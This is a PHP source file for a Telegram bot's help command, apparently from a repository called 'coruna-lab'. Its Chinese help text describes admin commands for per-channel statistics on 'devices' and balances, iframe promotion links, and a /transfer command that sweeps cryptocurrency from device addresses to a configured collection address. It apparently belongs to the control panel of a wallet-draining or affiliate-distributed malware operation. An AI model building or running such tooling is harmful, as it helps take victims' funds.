Files
coruna-lab/app/Telegram/Handlers/HelpCommand.php
T
2026-08-15 04:17:24 +08:00

59 lines
1.9 KiB
PHP
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
<?php
namespace App\Telegram\Handlers;
use App\Telegram\TelegramBotContext;
use SergiX44\Nutgram\Nutgram;
class HelpCommand
{
public function __construct(
private readonly TelegramBotContext $context,
) {}
public function __invoke(Nutgram $bot): void
{
$lines = [
'📖 可用指令(仅指定群管理员)',
'',
'/help',
' 查看本帮助',
'',
'/ping',
' 健康检查',
'',
'/data [1|7|30] [channelId]',
' 查询仪表盘统计(设备/余额/访问/分布)',
' 天数默认当天;渠道默认全部',
' channelId: 旧版 32 hex 或新版 X.Y.ZZ',
' 例: /data',
' 例: /data 7',
' 例: /data 30 0.0.01',
' 例: /data 0.0.01',
'',
'/channel',
' 列出渠道:ID、备注、归属;新版点按钮复制推广 iframe,旧版复制投放链接',
];
if ($this->context->isOfficial()) {
$lines = array_merge($lines, [
'',
'/transfer <fromAddress> [TRX|USDT|ETH|BTC] [amount]',
' 从设备地址转出到配置收款地址(仅官方)',
' 按地址识别链:T…=Tron,0x…=ETH,1…/3…/bc1…=BTC',
' 省略 amount 则转全部;默认 Tron→USDT / ETH→ETH / BTC→BTC',
' 例: /transfer Txxx USDT 10',
' 例: /transfer 0x… ETH',
' 例: /transfer 1… BTC 0.01',
]);
} else {
$lines = array_merge($lines, [
'',
'(当前为代理机器人:仅可查看本代理渠道数据,不支持 /transfer)',
]);
}
$bot->sendMessage(implode("\n", $lines));
}
}